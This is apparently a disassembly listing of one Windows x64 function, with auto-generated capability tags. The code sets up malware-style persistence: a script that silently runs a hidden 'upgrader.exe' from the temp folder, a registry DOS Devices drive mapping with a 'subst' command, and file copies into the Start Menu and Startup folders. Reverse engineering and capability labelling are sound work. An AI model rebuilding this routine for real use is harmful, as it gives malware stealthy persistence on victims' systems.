Function at 0x1400046b0
Capabilities:
Check if file exists
Copy file
Execute command
Get common file path
Set registry value

Disassembly:
sub rsp, 0xb48
call fcn.1400069e0
lea rcx, [rsp + 0x50]
call fcn.140003cf0
nop
lea rdx, [rsp + 0x720]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x140004711
lea rdx, str.Failed_to_get_temp_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001430
lea rdx, [0x1400026f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x50]
call fcn.140003480
jmp 0x1400052f2
lea r8, [0x1400097f8]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x218]
call fcn.140001890
mov qword [rsp + 0x1c8], rax
mov rcx, qword [rsp + 0x1c8]
call fcn.140006530
mov r8, rax
lea rdx, [rsp + 0x720]
lea rcx, [rsp + 0x510]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
test rax, rax
jne 0x140004767
mov dword [rsp + 0x34], 1
jmp 0x14000476f
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x30], al
lea rcx, [rsp + 0x218]
call fcn.140003480
movzx eax, byte [rsp + 0x30]
test eax, eax
je 0x1400047c1
lea rdx, str.Failed_to_combine_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001430
lea rdx, [0x1400026f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x50]
call fcn.140003480
jmp 0x1400052f2
lea rdx, str.set_wsWScript.CreateObject__WScript.Shell___nws.Run___HomePath_AppDataLocalTempupgrader.exe__0
lea rcx, [rsp + 0xd0]
call fcn.140002b90
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rsp + 0x510]
lea rcx, [rsp + 0x400]
call fcn.1400029b0
nop
mov rax, qword [rsp + 0x400]
movsxd rax, dword [rax + 4]
lea rax, [rsp + rax + 0x400]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
movzx eax, al
test eax, eax
je 0x140004883
lea rdx, str.Failed_to_open_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001430
lea rdx, [rsp + 0x510]
mov rcx, rax
call fcn.140001430
lea rdx, [0x1400026f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x400]
call fcn.1400038e0
nop
lea rcx, [rsp + 0xd0]
call fcn.140003480
nop
lea rcx, [rsp + 0x50]
call fcn.140003480
jmp 0x1400052f2
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x400]
call fcn.1400017a0
lea rcx, [rsp + 0x400]
call fcn.1400065e0
lea rdx, [0x140009934]
lea rcx, [rsp + 0x90]
call fcn.140002b90
nop
lea r8, str..vms
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140001890
nop
lea rax, [rsp + 0x930]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000495d
lea rdx, str.Failed_to_get_AppData_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001430
lea rdx, [0x1400026f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x70]
call fcn.140003480
nop
lea rcx, [rsp + 0x90]
call fcn.140003480
nop
lea rcx, [rsp + 0x400]
call fcn.1400038e0
nop
lea rcx, [rsp + 0xd0]
call fcn.140003480
nop
lea rcx, [rsp + 0x50]
call fcn.140003480
jmp 0x1400052f2
lea rdx, [rsp + 0x930]
lea rcx, [rsp + 0x238]
call fcn.140002b90
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x1e0], rax
lea r8, str.MicrosoftWindowsStart_MenuPrograms
mov rdx, qword [rsp + 0x1e0]
lea rcx, [rsp + 0xb0]
call fcn.140001840
nop
lea rcx, [rsp + 0x238]
call fcn.140003480
lea r8, [0x1400099e0]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x278]
call fcn.140001890
mov qword [rsp + 0x1e8], rax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x1f0], rax
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x258]
call fcn.1400017f0
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
call fcn.140006530
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x258]
call fcn.140003480
nop
lea rcx, [rsp + 0x278]
call fcn.140003480
cmp dword [rsp + 0x40], 0
je 0x140004abc
lea rdx, str.File_already_exists_on_new_disk.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001430
lea rdx, [0x1400026f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xb0]
call fcn.140003480
nop
lea rcx, [rsp + 0x70]
call fcn.140003480
nop
lea rcx, [rsp + 0x90]
call fcn.140003480
nop
lea rcx, [rsp + 0x400]
call fcn.1400038e0
nop
lea rcx, [rsp + 0xd0]
call fcn.140003480
nop
lea rcx, [rsp + 0x50]
call fcn.140003480
jmp 0x1400052f2
lea r8, [0x140009a38]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x2b8]
call fcn.140001890
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x120], rax
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x120]
lea rcx, [rsp + 0x298]
call fcn.1400017f0
mov qword [rsp + 0x128], rax
mov rcx, qword [rsp + 0x128]
call fcn.140006530
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [rsp + 0x44], eax
lea rcx, [rsp + 0x298]
call fcn.140003480
nop
lea rcx, [rsp + 0x2b8]
call fcn.140003480
cmp dword [rsp + 0x44], 0
je 0x140004bc4
lea rdx, str.File_already_exists_in_startup.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001430
lea rdx, [0x1400026f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xb0]
call fcn.140003480
nop
lea rcx, [rsp + 0x70]
call fcn.140003480
nop
lea rcx, [rsp + 0x90]
call fcn.140003480
nop
lea rcx, [rsp + 0x400]
call fcn.1400038e0
nop
lea rcx, [rsp + 0xd0]
call fcn.140003480
nop
lea rcx, [rsp + 0x50]
call fcn.140003480
jmp 0x1400052f2
lea r8, [rsp + 0xb0]
lea rdx, [0x140009a90]
lea rcx, [rsp + 0xf0]
call fcn.140001960
nop
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140004c94
lea rdx, str.Failed_to_open_registry_key.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001430
lea rdx, [0x1400026f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xf0]
call fcn.140003480
nop
lea rcx, [rsp + 0xb0]
call fcn.140003480
nop
lea rcx, [rsp + 0x70]
call fcn.140003480
nop
lea rcx, [rsp + 0x90]
call fcn.140003480
nop
lea rcx, [rsp + 0x400]
call fcn.1400038e0
nop
lea rcx, [rsp + 0xd0]
call fcn.140003480
nop
lea rcx, [rsp + 0x50]
call fcn.140003480
jmp 0x1400052f2
lea rcx, [rsp + 0xf0]
call fcn.140006ae0
lea rax, [rax + rax + 2]
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0xf0]
call fcn.140006530
mov qword [rsp + 0x138], rax
lea rcx, [rsp + 0x90]
call fcn.140006530
mov rcx, qword [rsp + 0x130]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x138]
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140004d97
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Failed_to_set_registry_value.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001430
lea rdx, [0x1400026f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xf0]
call fcn.140003480
nop
lea rcx, [rsp + 0xb0]
call fcn.140003480
nop
lea rcx, [rsp + 0x70]
call fcn.140003480
nop
lea rcx, [rsp + 0x90]
call fcn.140003480
nop
lea rcx, [rsp + 0x400]
call fcn.1400038e0
nop
lea rcx, [rsp + 0xd0]
call fcn.140003480
nop
lea rcx, [rsp + 0x50]
call fcn.140003480
jmp 0x1400052f2
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x90]
lea rdx, str.subst
lea rcx, [rsp + 0x318]
call fcn.140001960
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x148], rax
lea r8, [0x140009b9c]
mov rdx, qword [rsp + 0x148]
lea rcx, [rsp + 0x2f8]
call fcn.140001840
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x158], rax
lea r8, [rsp + 0xb0]
mov rdx, qword [rsp + 0x158]
lea rcx, [rsp + 0x2d8]
call fcn.1400017f0
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x160], rax
lea r8, [0x1400099e4]
mov rdx, qword [rsp + 0x160]
lea rcx, [rsp + 0x1f8]
call fcn.140001840
nop
lea rcx, [rsp + 0x2d8]
call fcn.140003480
nop
lea rcx, [rsp + 0x2f8]
call fcn.140003480
nop
lea rcx, [rsp + 0x318]
call fcn.140003480
lea rcx, [rsp + 0x1f8]
call fcn.140006530
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
test eax, eax
je 0x140004f35
lea rdx, str.Failed_to_execute_subst_command.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001430
lea rdx, [0x1400026f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x1f8]
call fcn.140003480
nop
lea rcx, [rsp + 0xf0]
call fcn.140003480
nop
lea rcx, [rsp + 0xb0]
call fcn.140003480
nop
lea rcx, [rsp + 0x70]
call fcn.140003480
nop
lea rcx, [rsp + 0x90]
call fcn.140003480
nop
lea rcx, [rsp + 0x400]
call fcn.1400038e0
nop
lea rcx, [rsp + 0xd0]
call fcn.140003480
nop
lea rcx, [rsp + 0x50]
call fcn.140003480
jmp 0x1400052f2
lea r8, [0x140009c04]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x358]
call fcn.140001890
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x170], rax
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x338]
call fcn.1400017f0
mov qword [rsp + 0x178], rax
mov rcx, qword [rsp + 0x178]
call fcn.140006530
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x510]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140004fba
mov dword [rsp + 0x38], 1
jmp 0x140004fc2
mov dword [rsp + 0x38], 0
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x31], al
lea rcx, [rsp + 0x338]
call fcn.140003480
nop
lea rcx, [rsp + 0x358]
call fcn.140003480
movzx eax, byte [rsp + 0x31]
test eax, eax
je 0x140005085
lea rdx, str.Failed_to_copy_file_to_programs_directory.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001430
lea rdx, [0x1400026f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x1f8]
call fcn.140003480
nop
lea rcx, [rsp + 0xf0]
call fcn.140003480
nop
lea rcx, [rsp + 0xb0]
call fcn.140003480
nop
lea rcx, [rsp + 0x70]
call fcn.140003480
nop
lea rcx, [rsp + 0x90]
call fcn.140003480
nop
lea rcx, [rsp + 0x400]
call fcn.1400038e0
nop
lea rcx, [rsp + 0xd0]
call fcn.140003480
nop
lea rcx, [rsp + 0x50]
call fcn.140003480
jmp 0x1400052f2
lea r8, str.Startup_
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x3d8]
call fcn.140001890
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x188], rax
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x188]
lea rcx, [rsp + 0x3b8]
call fcn.1400017f0
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x1d8], rax
mov rcx, qword [rsp + 0x1d8]
call fcn.140006530
mov qword [rsp + 0x1c0], rax
lea r8, [0x140009c7c]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x398]
call fcn.140001890
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x1a8], rax
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x378]
call fcn.1400017f0
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x1b8], rax
mov rcx, qword [rsp + 0x1b8]
call fcn.140006530
mov r8d, 4
mov rcx, qword [rsp + 0x1c0]
mov rdx, rcx
mov rcx, rax
call fcn.1400041a0
test eax, eax
jne 0x14000519a
mov dword [rsp + 0x3c], 1
jmp 0x1400051a2
mov dword [rsp + 0x3c], 0
movzx eax, byte [rsp + 0x3c]
mov byte [rsp + 0x32], al
lea rcx, [rsp + 0x378]
call fcn.140003480
nop
lea rcx, [rsp + 0x398]
call fcn.140003480
nop
lea rcx, [rsp + 0x3b8]
call fcn.140003480
nop
lea rcx, [rsp + 0x3d8]
call fcn.140003480
movzx eax, byte [rsp + 0x32]
test eax, eax
je 0x14000527e
lea rdx, [0x140009c80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001430
lea rdx, [0x1400026f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x1f8]
call fcn.140003480
nop
lea rcx, [rsp + 0xf0]
call fcn.140003480
nop
lea rcx, [rsp + 0xb0]
call fcn.140003480
nop
lea rcx, [rsp + 0x70]
call fcn.140003480
nop
lea rcx, [rsp + 0x90]
call fcn.140003480
nop
lea rcx, [rsp + 0x400]
call fcn.1400038e0
nop
lea rcx, [rsp + 0xd0]
call fcn.140003480
nop
lea rcx, [rsp + 0x50]
call fcn.140003480
jmp 0x1400052f2
call fcn.1400069e0
call fcn.140004210
nop
lea rcx, [rsp + 0x1f8]
call fcn.140003480
nop
lea rcx, [rsp + 0xf0]
call fcn.140003480
nop
lea rcx, [rsp + 0xb0]
call fcn.140003480
nop
lea rcx, [rsp + 0x70]
call fcn.140003480
nop
lea rcx, [rsp + 0x90]
call fcn.140003480
nop
lea rcx, [rsp + 0x400]
call fcn.1400038e0
nop
lea rcx, [rsp + 0xd0]
call fcn.140003480
nop
lea rcx, [rsp + 0x50]
call fcn.140003480
add rsp, 0xb48
ret